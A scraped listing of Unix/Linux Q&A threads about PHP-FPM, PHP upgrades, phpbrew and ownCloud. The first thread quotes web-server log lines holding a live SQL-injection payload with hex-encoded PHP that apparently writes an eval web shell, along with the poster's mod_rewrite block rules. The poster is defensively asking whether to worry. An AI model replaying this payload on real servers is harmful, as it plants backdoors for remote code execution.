14.210.192.182 - - [01/May/2019:04:43:14 -0500] "GET /user.php?act=login HTTP/1.1" 302 233 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:288:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D...
14.210.192.182 - - [01/May/2019:04:43:14 -0500] "GET /user.php?act=login HTTP/1.1" 302 233 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:288:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" I'm not even sure how this type of exploit would work. It looks like it's trying to run sql from referer serialized data. Is this anything to worry about? All of the web apps on the server are using PDO with prepared statements. Jail list: apache-badbots, apache-noscript, apache-overflows, apache-sqlinject, sshd RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC] RewriteRule ^(.*)$ - [F,L] RewriteCond %{HTTP_REFERER} ^.*(union|schema|sql|jdatabasedriver|ini_set|user\.php).* [NC] RewriteRule ^(.*)$ - [F,L]
bSulz (11 rep)
May 1, 2019, 09:48 PM • Last activity: May 2, 2019, 03:23 PM
0 votes
1 answers
5133 views
How to kill stuck php-fpm processes
I have a production server, where I am not able to kill php-fpm processes. I am not able to kill any of the following process with kill -9. `service php-fpm start`,keeps on running, but doesnt give any error or output. System Reboot is not an option :( [root@vtermination etc]# ps aux | grep "php" ro...
I have a production server, where I am not able to kill php-fpm processes. I am not able to kill any of the following process with kill -9. service php-fpm start,keeps on running, but doesnt give any error or output. System Reboot is not an option :( [root@vtermination etc]# ps aux | grep "php" root 1142 0.0 0.2 753984 35532 ? D 19:04 0:00 php-fpm-5.5 root 3133 0.0 0.2 753840 35220 ? D 19:43 0:00 php-fpm has invoked oom-killer root 3591 0.0 0.2 753984 35536 ? D 19:11 0:00 php-fpm-5.5 nginx 5470 0.0 0.2 761196 32960 ? D 17:01 0:00 php-fpm: pool www nginx 5548 0.0 0.2 835268 38768 ? D 17:01 0:00 php-fpm: pool www root 6917 0.0 0.2 753984 35636 ? D 19:05 0:00 php-fpm-5.5 nginx 7266 0.0 0.2 761848 36652 ? D 17:02 0:00 php-fpm: pool www root 7308 0.0 0.2 753984 35536 ? D 19:12 0:00 php-fpm-5.5 root 9638 0.0 0.2 641444 31820 ? S 19:22 0:00 /usr/bin/php -q /home/vtermina/private/crons/text/text_failed_sockets.php root 10103 0.0 0.2 753984 35428 pts/4 D 19:12 0:00 php-fpm-5.5 nginx 10951 0.0 0.2 761472 33520 ? D 17:36 0:00 php-fpm: pool www nginx 10955 0.0 0.2 761192 34024 ? D 17:36 0:00 php-fpm: pool www nginx 10958 0.0 0.2 761580 34196 ? D 17:36 0:00 php-fpm: pool www nginx 10961 0.0 0.2 761392 35504 ? D 17:36 0:00 php-fpm: pool www root 11123 0.0 0.2 753984 35512 ? D 19:13 0:00 php-fpm-5.5 root 12141 0.0 0.2 753984 35372 ? D 19:06 0:00 php-fpm-5.5 root 17819 0.0 0.2 753984 35576 ? D 19:22 0:00 php-fpm-5.5 root 18166 0.0 0.2 753984 35588 ? D 19:23 0:00 php-fpm-5.5 root 19724 0.0 0.2 753984 35576 ? D 19:07 0:00 php-fpm-5.5 root 20242 0.0 0.0 110388 1808 pts/4 S+ 19:49 0:00 grep php root 22224 0.0 0.2 753984 35508 ? D 19:08 0:00 php-fpm-5.5 root 23341 0.0 0.2 753984 35616 pts/5 D 19:08 0:00 php-fpm-5.5 root 24044 0.0 0.2 753984 35448 ? D 19:09 0:00 php-fpm-5.5 root 24715 0.0 0.2 753956 35164 pts/5 D+ 19:15 0:00 php-fpm -t root 25229 0.0 0.2 753984 35660 pts/6 D 19:09 0:00 php-fpm-5.5 root 25439 0.0 0.2 753984 35540 ? D 19:10 0:00 php-fpm-5.5 root 25721 0.0 0.2 753984 35564 pts/3 D 19:00 0:00 php-fpm-5.5 root 26046 0.0 0.2 753984 35560 ? D 19:01 0:00 php-fpm-5.5 root 28064 0.0 0.2 753984 35276 pts/4 D 19:01 0:00 php-fpm-5.5 root 28358 0.0 0.2 753984 35488 ? D 19:02 0:00 php-fpm-5.5 root 29052 0.0 0.2 753984 35604 ? D 19:03 0:00 php-fpm-5.5 nginx 29728 0.0 0.2 761148 31980 ? D 17:41 0:00 php-fpm: pool www nginx 29731 0.0 0.2 761868 35700 ? D 17:41 0:00 php-fpm: pool www nginx 31384 0.0 0.2 761788 39076 ? D 17:00 0:00 php-fpm: pool www Any suggestions ? Following are the two related questions, can there be any more solutions? https://superuser.com/questions/539920/cant-kill-a-sleeping-process?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa https://serverfault.com/questions/400021/nginx-php-fpm-processes-falls-in-uninterruptible-sleep
kadamb (101 rep)
Jun 12, 2018, 02:41 PM • Last activity: Apr 16, 2019, 05:56 PM
33 votes
4 answers
26984 views
Unix system(“unzip archive.zip”) Extracting Zip Files Silently
How do I silently extract files, without displaying status?
How do I silently extract files, without displaying status?
Adedoyin Akande (471 rep)
Jan 16, 2017, 10:52 PM • Last activity: Apr 6, 2019, 01:22 PM
-1 votes
1 answers
944 views
Updating extensions after PHP upgrade on CentOS 5.6
I'm completely new to pecl, yum, rpm, packages and all the stuff required to get this done, so I'm hoping some of you smarter more experienced people can help me out. I only have a vague notion of what I'm doing. I upgraded PHP 5.3.3-26.el5_11 to 5.4.45-3.el5.remi based on this article: https://kb.o...
I'm completely new to pecl, yum, rpm, packages and all the stuff required to get this done, so I'm hoping some of you smarter more experienced people can help me out. I only have a vague notion of what I'm doing. I upgraded PHP 5.3.3-26.el5_11 to 5.4.45-3.el5.remi based on this article: https://kb.odin.com/en/115833 After upgrading, I'm getting PHP warnings: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 Unable to load dynamic library undefined symbol: php_checkuid in Unknown on line 0 The solutions described in another thread are to reinstall or update the extensions. Searching around, I have tried commands like: $pecl install ldap No releases available for package "pecl.php.net/ldap” install failed $ pecl upgrade ldap No releases available for package "pecl.php.net/ldap" install failed $ yum update php-mcrypt Package(s) php-mcrypt available, but not installed. No Packages marked for Update I'm at a loss here, and I don't want to keep running commands as root when I don't know what I'm doing, or even what directory I'm supposed to be in. Can someone provide detail on how to do this please? Here are the full warnings I'm getting: PHP Warning: PHP Startup: ldap: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 These options need to match in Unknown on line 0 PHP Warning: PHP Startup: mcrypt: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 These options need to match in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/odbc.so' - /usr/lib64/php/modules/odbc.so: undefined symbol: php_checkuid in Unknown on line 0 PHP Warning: PHP Startup: PDO_ODBC: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 These options need to match in Unknown on line 0 PHP Warning: PHP Startup: snmp: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 These options need to match in Unknown on line 0 PHP Warning: PHP Startup: xmlrpc: Unable to initialize module Module compiled with module API=20090626 PHP compiled with module API=20100525 These options need to match in Unknown on line 0
Krush (1 rep)
Jan 30, 2016, 10:03 PM • Last activity: Apr 5, 2019, 10:49 PM
1 votes
1 answers
258 views
How to get php-cgi with phpbrew (PHP5.3.x)
I installed php-5.6.40 php-7.1.14 with phpbrew and I've got php-cgi binaries on these both version. I used this command for get php-cgi 5.6.40 phpbrew install 5.6.40 +default+fpm+mysql+sqlite+mb+iconv+json+iconv+exif+fileinfo +curl=/opt/CURL/curl-7.26.0 +openssl=/opt/OpenSSL/openssl-1.0.1u and I get...
I installed php-5.6.40 php-7.1.14 with phpbrew and I've got php-cgi binaries on these both version. I used this command for get php-cgi 5.6.40 phpbrew install 5.6.40 +default+fpm+mysql+sqlite+mb+iconv+json+iconv+exif+fileinfo +curl=/opt/CURL/curl-7.26.0 +openssl=/opt/OpenSSL/openssl-1.0.1u and I get ~# /opt/phpbrew/php/php-5.6.40/bin/php-cgi -v PHP 5.6.40 (cgi-fcgi) (built: Jan 14 2019 12:19:43) Copyright (c) 1997-2016 The PHP Group Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies On the same system, I'm trying to do the same with an old version with this command phpbrew install --old 5.3.29 +default+fpm+cgi+cli+mysql+sqlite+mb+iconv+json+iconv+exif+fileinfo +curl=/opt/CURL/curl-7.26.0 +openssl=/opt/OpenSSL/openssl-1.0.1u -- --enable-cgi The compilation has been finished without error but php-cgi is not present in the bin directory of php version 5.3.29
dubis (1480 rep)
Jan 14, 2019, 04:58 PM • Last activity: Jan 21, 2019, 04:06 PM
0 votes
0 answers
7412 views
Where is php config and .htaccess located on Raspbian?
I am trying to change the upload limit of my owncloud installation. A raspberry pi and the Raspbian OS are powering this server. Apparently I can edit the php config or the .htaccess config but I am unsure of where either of those are located. It says .htaccess is located inside the owncloud install...
I am trying to change the upload limit of my owncloud installation. A raspberry pi and the Raspbian OS are powering this server. Apparently I can edit the php config or the .htaccess config but I am unsure of where either of those are located. It says .htaccess is located inside the owncloud install directory. And the php config is here /etc/php5/apache2/php.ini . But when I use nano to edit the php config it's blank. I am pretty sure it exists somewhere because My owncloud installation is working and I can upload small files. Anyone got any suggestions?
Cam Jones (174 rep)
Jan 11, 2015, 02:52 AM • Last activity: Dec 16, 2018, 05:06 AM
Showing page 1 of 20 total questions